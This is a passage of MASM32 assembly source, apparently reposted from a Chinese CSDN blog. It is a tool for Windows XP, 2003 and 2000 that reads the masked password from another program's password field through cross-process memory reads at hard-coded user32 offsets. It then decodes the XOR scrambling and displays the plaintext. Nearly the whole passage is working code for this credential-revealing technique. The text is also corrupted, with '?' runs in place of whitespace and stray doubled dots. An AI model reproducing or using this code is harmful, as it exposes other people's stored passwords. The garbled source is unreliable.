??????? ;invoke MessageBox,0,offset bufferpassaddr,offset vp,1????????
??????? ;得到密碼長度
??????? mov? ecx,esi
??????? add? ecx,lenoffset
??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
??????? .if eax == TRUE
??????????????? mov ecx,offset buffer1
??????????????? mov ecx,[ecx]
??????????????? mov PASSLEN,ecx
??????? .endif????
??????? .if ecx>0 && ecx <32
??????? ;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
??????? ;invoke MessageBox,0,offset bufferpasslen,offset vp,1?????
??????? .else
??????? invoke MessageBox,0,offset passerr,offset vp,1
??????? ret
??????? .endif??
???????
??????? ;得到加密密碼的變量???????
??????? mov??? ecx,esi
??????? add??? ecx,0ECh
??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
??????? .if eax == TRUE
??????????????? mov ecx,offset buffer1
??????????????? MOV ECX,[ECX]
??????????????? xor edx,edx
??????????????? movzx edx,cl
??????????????? mov ENCODE,EDX
??????? .endif
??????? ;invoke wsprintf,offset bufferpass1,offset passformat,edx
??????? ;invoke MessageBox,0,offset bufferpass1,offset vp,1????????????????
???????
??????? ;得到解密后的密碼
??????? mov??? ecx,esi
??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
??????? .if eax == TRUE
??????????????? mov ecx,offset buffer1
??????????????? mov ecx,[ecx]
??????? .endif
??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
??????? .if eax == TRUE
??????????????? mov ecx,offset buffer1
??????????????? mov ecx,[ecx]
??????? .endif
??????? mov ebx,ecx???????
??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
??????? .if eax == TRUE
??????????????? mov esi,offset buffer1
??????? .endif
???????
??????? MOV EDX,ENCODE
??????? mov cl,dl
??????? mov edi,PASSLEN
@@nextpass:???????
??????? CMP EDI,1
??????? JBE @@firstpass
??????? mov eax,esi
??????? add eax,edi
??????? mov dl,[eax-2]
??????? xor dl,[eax-1]
??????? xor dl,cl ;重要
??????? mov [eax-1],dl
??????? dec edi
??????? jmp @@nextpass
@@firstpass:
??????? or? cl,43h ;WHY?
??????? mov edx,offset buffer1
??????? xor [edx],cl
??????? ;密碼可能是UNICODE的
??????? invoke lstrlenA,edx
???????
??????? .if eax<PASSLEN ;密碼是UNICODE
??????? mov edx,PASSLEN
??????? add edx,edx
??????? mov ecx,ebx
??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
??????? .if eax == TRUE
??????????????? mov esi,offset buffer1
??????? .endif
??????? mov edi,PASSLEN
??????? add edi,edi
??????? MOV EDX,ENCODE
??????? mov cl,dl
???????
@@nextpass2:???????
??????? CMP EDI,1
??????? JBE @@firstpass2
??????? mov eax,esi
??????? add eax,edi
??????? mov dl,[eax-2]
??????? xor dl,[eax-1]
??????? xor dl,cl ;重要
??????? mov [eax-1],dl
??????? dec edi
??????? jmp @@nextpass2
@@firstpass2:
??????? or? cl,43h
??????? mov edx,offset buffer1
??????? xor [edx],cl
??????? ;invoke MessageBoxW,0,edx,edx,1
??????? invoke??????? SetDlgItemTextW,hWinMain,ID_PWD,edx?????
??????? .else
??????? mov ecx,offset buffer1
??????? add ecx,PASSLEN
??????? xor eax,eax
??????? MOV [ECX],eax
??????? invoke??????? SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
??????? invoke? RtlZeroMemory,offset buffer1,128
??????? .endif
??????????? ret
ViewPass? endp?
comment %
GetUnknowVarOffset? proc uses esi edi ebx
??????????????????? LOCAL?? user32base:dword?
??????????????????? LOCAL?? varaddr:dword????
??????? invoke LoadLibrary,offset user32dll
??????? mov??? user32base,eax
??????? invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虛擬偏移
??????? invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
??????? .if eax!=NULL
??????????? invoke RtlMoveMemory,offset buffercode,eax,1000
??????????? mov esi,offset buffercode
??????????? xor ebx,ebx
@@nextcode:???????
??????????? mov ax,word ptr [esi]
??????????? .if ax==08C2h
??????????????? add esi,2
??????????????? mov al,byte ptr[esi]
??????????????? sub esi,2
??????????????? .if al==00h
??????????????????? ;--找到ret 08(C20800)后,倒過去找mov eax,xxxxxxxx (B8 xxxxxxxx)
??????????????????? sub esi,5
??????????????????? sub ebx,5
@@nextcode2:???????????????????
??????????????????? mov al,byte ptr [esi]
??????????????????? .if al==0B8h
??????????????????????? inc esi
??????????????????????? mov eax,dword ptr [esi]
??????????????????????? dec esi
??????????????????????? mov varaddr,eax
??????????????????? .else
??????????????????? @@nextb8:
??????????????????????? dec esi
??????????????????????? dec ebx
??????????????????????? .if ebx>1???????????????????????
??????????????????????????? jmp @@nextcode2
??????????????????????? .else ;找不到mov eax,xxxxxxxx
??????????????????????????? invoke MessageBox,0,offset errnocode,offset vp,1
??????????????????????????? xor eax,eax
??????????????????????????? ret
??????????????????????? .endif
??????????????????? .endif
??????????????? .else
??????????????????? jmp @@findother
??????????????? .endif
??????????? .else
@@findother:???????????
??????????????? inc ebx
??????????????? inc esi
??????????????? .if ebx<1000d
??????????????????? jmp @@nextcode
??????????????? .else ;找不到ret 08指令
??????????????????? invoke MessageBox,0,offset errnocode,offset vp,1
??????????????????? xor eax,eax
??????????????????? ret
??????????????? .endif
??????????? .endif
??????? .else? ;找不到函數
???????? invoke MessageBox,0,offset errnowow,offset vp,1
???????? xor eax,eax
???????? ret
??????? .endif
??????? ;正常情況varaddr為USER32.DLL全局變量中記錄當前線程GUI TABLE R3層地址的變量的地址
???????
??????? mov ecx,user32base
??????? add ecx,VirtualAddress ;得到內存中user32.dll的全局變量的起始地址
??????? mov eax,varaddr
??????? sub eax,ecx ;變量的地址減全局變量起始地址
??????? ..if eax>0 && eax<VirtualSize ;變量的偏移大于0,小于變局變量總大小
??????? add eax,4
??????? mov VarOffset,eax
???????
??????? .else
??????? jmp @@nextb8
??????? .endif
???????
???????
??????????????????? ret
GetUnknowVarOffset? endp
%
GetUnknowVarOffset? proc uses esi edi ebx
??????????????????? LOCAL?? user32base:dword?
??????????????????? LOCAL?? varaddr:dword????
??????????????????? LOCAL?? optable[2048]:byte
??????????????????? LOCAL?? oplen[256]:byte ;記錄每個指令的長度,最多512個
???????????????????
??????? invoke LoadLibrary,offset user32dll
??????? mov??? user32base,eax
??????? invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虛擬偏移
??????? invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
??????? .if eax!=NULL
??????????? invoke RtlMoveMemory,offset buffercode,eax,1000
??????????? mov esi,offset buffercode
;------------------------?????? 利用LDE32庫函數得到該函數中每個指令的長度:)
???????????????????
???????
??????? lea? eax,optable
??????? push eax
??????? call disasm_init? ;解壓縮'指令長度表'
???????
???????
??????? xor ebx,ebx
??????? lea edi,oplen
@@nextcode:
??????? push esi
??????? lea? eax,optable
??????? push eax
??????? call disasm_main
??????? .if eax!=-1 && ebx<256
??????????? mov cx,word ptr [esi]
??????????? mov dl,byte ptr [esi+2]
??????????? .if eax == 3 && cx == 08C2h && dl == 00? ;找到ret 08=C20800
??????????? ;-------------------然后反過去找MOV EAX,XXXXXXXX?? =B8 XXXXXXXX
??????????? dec ebx
???????????
@@nextcode2:???????????
??????????? mov AL,byte ptr [edi+ebx]?
??????????? movzx eax,al
??????????? sub esi,eax
??????????? mov cl,byte ptr [esi]
??????????? .if al == 5 && cl == 0B8H
??????????????????????? inc esi
??????????????????????? mov eax,dword ptr [esi]
??????????????????????? mov varaddr,eax
??????????????????????? dec esi
??????????? .else
@@nextb8:???????????
??????????????????? dec ebx
??????????????????? .if ebx >1
??????????????????????? jmp @@nextcode2
??????????????????? .else
??????????????????????? jmp @@errcode
??????????????????? .endif
??????????? .endif
???????????
??????????? .else
??????????? mov byte ptr [edi+ebx],al???????????
??????????? inc ebx
??????????? add esi,eax???????????????????????
??????????? jmp @@nextcode
??????????? .endif
?????? .else ;找不到RET 08指令
@@errcode:?????
??????????? invoke MessageBox,0,offset errnocode,offset vp,1
??????????? xor eax,eax
??????????? ret?????
?????? .endif
;------------------------?????
??????? .else? ;找不到函數
??????????? invoke MessageBox,0,offset errnowow,offset vp,1
??????????? xor eax,eax
??????????? ret
??????? .endif
??????? ;正常情況varaddr為USER32.DLL全局變量中記錄當前線程GUI TABLE R3層地址的變量的地址
???????
??????? mov ecx,user32base
??????? add ecx,VirtualAddress ;得到內存中user32.dll的全局變量的起始地址
??????? mov eax,varaddr
??????? sub eax,ecx ;變量的地址減全局變量起始地址
??????? .if eax>0 && eax<VirtualSize ;變量的偏移大于0,小于全局變量總大小
??????? add eax,4
??????? mov VarOffset,eax
??????? .else
??????? jmp @@nextb8
??????? .endif
???????
???????
??????????????????? ret
GetUnknowVarOffset? endp
?
GetUser32Base? proc uses ebx esi edi remoteproid
??????????? LOCAL hSnapshot:dword
??????????? LOCAL modinfo:MODULEENTRY32
??????????? LOCAL modname[256]:byte
??????? mov??????????? modinfo.dwSize,sizeof MODULEENTRY32
??????? invoke? CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
??????? mov???? hSnapshot,eax
??????? invoke? Module32First,hSnapshot,addr modinfo
??????? .while eax
??????? lea???? ecx,modinfo.szModule
??????? invoke? lstrcmpi,offset user32dll,ecx
??????? .if???? eax == 0
??????????????? mov eax,modinfo.modBaseAddr
??????????????? ret
??????? .endif
??????? invoke? Module32Next,hSnapshot,addr modinfo
??????? .endw
??????? invoke??????? CloseHandle,hSnapshot
???????
??????????????? ret
GetUser32Base?? endp???????
_ProcessPeFile??????? proc _lpPeHead
??????????????? local??????? @szBuffer[1024]:byte,@szSectionName[16]:byte
??????????????
??????? mov??????? esi,_lpPeHead
??????????????? assume??????? esi:ptr IMAGE_DOS_HEADER
??????? add??????? esi,[esi].e_lfanew
??????????????? mov??????? edi,esi
??????????????? assume??????? edi:ptr IMAGE_NT_HEADERS
??????????????? ;movzx??????? ecx,[edi].FileHeader.Machine
??????????????? ;movzx??????? edx,[edi].FileHeader.NumberOfSections
??????????????? ;movzx??????? ebx,[edi].FileHeader.Characteristics
;********************************************************************
; 循環顯示每個節區的信息
;********************************************************************
??????????????? movzx??????? ecx,[edi].FileHeader.NumberOfSections
??????????????? add??????? edi,sizeof IMAGE_NT_HEADERS
??????????????? assume??????? edi:ptr IMAGE_SECTION_HEADER
??????????????? .repeat
??????????????????????? push??????? ecx
;********************************************************************
; 節區名稱
;********************************************************************
??????????????????????? invoke??????? RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
??????????????????????? push??????? esi
??????????????????????? push??????? edi
??????????????????????? mov??????? ecx,8
??????????????????????? mov??????? esi,edi
??????????????????????? lea??????? edi,@szSectionName
??????????????????????? cld
??????????????????????? @@:
??????????????????????? lodsb
??????????????????????? .if??????? ! al
??????????????????????????????? mov??????? al,' '
??????????????????????? .endif
??????????????????????? stosb
??????????????????????? loop??????? @B
??????????????????????? pop??????? edi
??????????????????????? pop??????? esi
;********************************************************************
??????????? invoke lstrcmpi,offset dataname,addr @szSectionName
??????????? .if eax == 0
??????????????????? push [edi].VirtualAddress
??????????????????? pop VirtualAddress
??????????????????? push dword ptr [edi+8]
??????????????????? pop VirtualSize
??????????????????? ret
??????????????????????? .else???????
??????????????????????? add??????? edi,sizeof IMAGE_SECTION_HEADER
??????????????????????? .endif
;********************************************************************
??????????????????????? pop??????? ecx
??????????????? .untilcxz
??????????????? assume??????? edi:nothing
??????????????? ret
_ProcessPeFile??????? endp
?
CheckOS proc
??? LOCAL verinfo:OSVERSIONINFO
??
??? mov???? verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
??? invoke? GetVersionEx,addr verinfo
??? .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo..dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
??????? mov eax,1 ;xp
??????? mov passoffset,0A4H
??????? mov lenoffset ,14H
??? .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2)
??????? mov eax,1 ;2003
??????? mov passoffset,0A0H
??????? mov lenoffset ,0CH
??? .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0)??
??????? mov eax,1 ;2000
??????? mov passoffset,98H
??????? mov lenoffset ,0cH
??? .else
??????? invoke MessageBox,0,offset erros,offset vp,1
??????? xor eax,eax? ;9x,nt4
??? .endif
??
??????? ret
CheckOS endp
_ProcDlgMain??????? proc??????? uses ebx edi esi, \
??????????????? hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
??????????????? local??????? @stPoint:POINT
??????????????? local??????? @hWindow
??????????????? local?? hBrush :dword
??????????? local?? rect:RECT
??????????? local?? LogBrush:LOGBRUSH
??????????????? mov??????? eax,wMsg
??????????????? .if??????? eax == WM_CLOSE
??????????????????????? invoke??????? EndDialog,hWnd,NULL
??????????????????????? invoke??????? KillTimer,hWnd,1
??????????????? .elseif??????? eax == WM_INITDIALOG
??????????????????????? push??? hWnd
??????????????????????? pop???? hWinMain
??????????????????? invoke LoadIcon, hInstance, 1
??????????????????? invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
??????????????????????? invoke??????? SendDlgItemMessage,hWnd,ID_PWD,EM_SETREADONLY,TRUE,NULL
??????????????????????? invoke??????? SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
??????????????????????????????????? SWP_NOMOVE or SWP_NOSIZE
??????????????????????? invoke??????? SetTimer,hWnd,1,2000,NULL
??????????????????????? invoke??????? LoadBitmap,hInstance,IDB_1
??????????????????????? invoke??????? SendDlgItemMessage,hWnd,IDC_BMP,STM_SETIMAGE,IMAGE_BITMAP,eax
??????????????????????? invoke? GetWindowLong,hWnd, GWL_EXSTYLE
??????????????????????? or????? eax,80000h
??????????????????????? invoke? SetWindowLong,hWnd, GWL_EXSTYLE, eax
??????????????????????? invoke? SetLayeredWindowAttributes,hWnd, 0, 220, 02h;LWA_ALPHA
??????????? .elseif??????? eax ==??????? WM_CTLCOLORSTATIC
??????????????????? RGB 0,0,0
??????????????????? invoke??????? SetBkColor,wParam,eax
??????????????????? invoke??????? SetTextColor,wParam,00aeaeaeh
??????????????????? invoke??????? GetStockObject,HOLLOW_BRUSH
??????????????????? ret??????????????
??????????????? .elseif??????? eax == WM_ERASEBKGND
??????????????????? mov LogBrush.lbStyle,BS_SOLID
??????????????????? RGB 0,0,0
??????????????????? mov LogBrush.lbColor,eax
??????????????????? invoke CreateBrushIndirect,addr LogBrush
??????????????????? mov hBrush,eax
??????????????????? invoke GetClientRect,hWnd,addr rect
??????????????????? invoke FillRect,wParam,addr rect,hBrush???????
??????????????????? mov eax,TRUE
??????????????????? ret??????????????
??????????????? .elseif??????? eax == WM_TIMER
??????????????????????? invoke??????? GetCursorPos,addr @stPoint
??????????????????????? invoke??????? WindowFromPoint,@stPoint.x,@stPoint.y
??????????????????????? mov??????? @hWindow,eax
??????????????????????? .if??????? eax !=??????? NULL
??????????????????????????????? invoke GetWindowLong,@hWindow,GWL_STYLE
??????????????????????????????? .if (eax & ES_PASSWORD)
??????????????????? invoke GetClassName,@hWindow,offset classname,64
??????????????????? invoke lstrcmpi,offset classname,offset editname
??????????????????? .if eax == 0
??????????????????? mov eax,@hWindow
??????????????????? mov WINHAND,eax
??????????????????? invoke? ViewPass
??????????????????? .endif??????????????????????????????????????
??????????????????????????????? .endif
??????????????????????? .endif
??????????????? .else
;********************************************************************
;??????? 注意:對話框的消息處理后,要返回 TRUE,對沒有處理的消息
;??????? 要返回 FALSE
;********************************************************************
??????????????????????? mov??????? eax,FALSE
??????????????????????? ret
??????????????? .endif?????????????????
??????????????? mov??????? eax,TRUE
??????????????? ret
??????????????
_ProcDlgMain??????? endp
include???? \masm32\include\lde32bin.inc
;********************************************************************
start:
??????????????? invoke??????? GetModuleHandle,NULL
??????????????? mov??????? hInstance,eax
??????????????? invoke??????? DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
??????????????? invoke??????? ExitProcess,NULL
end??????? start
本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/killcpp/archive/2008/09/14/2802702.aspx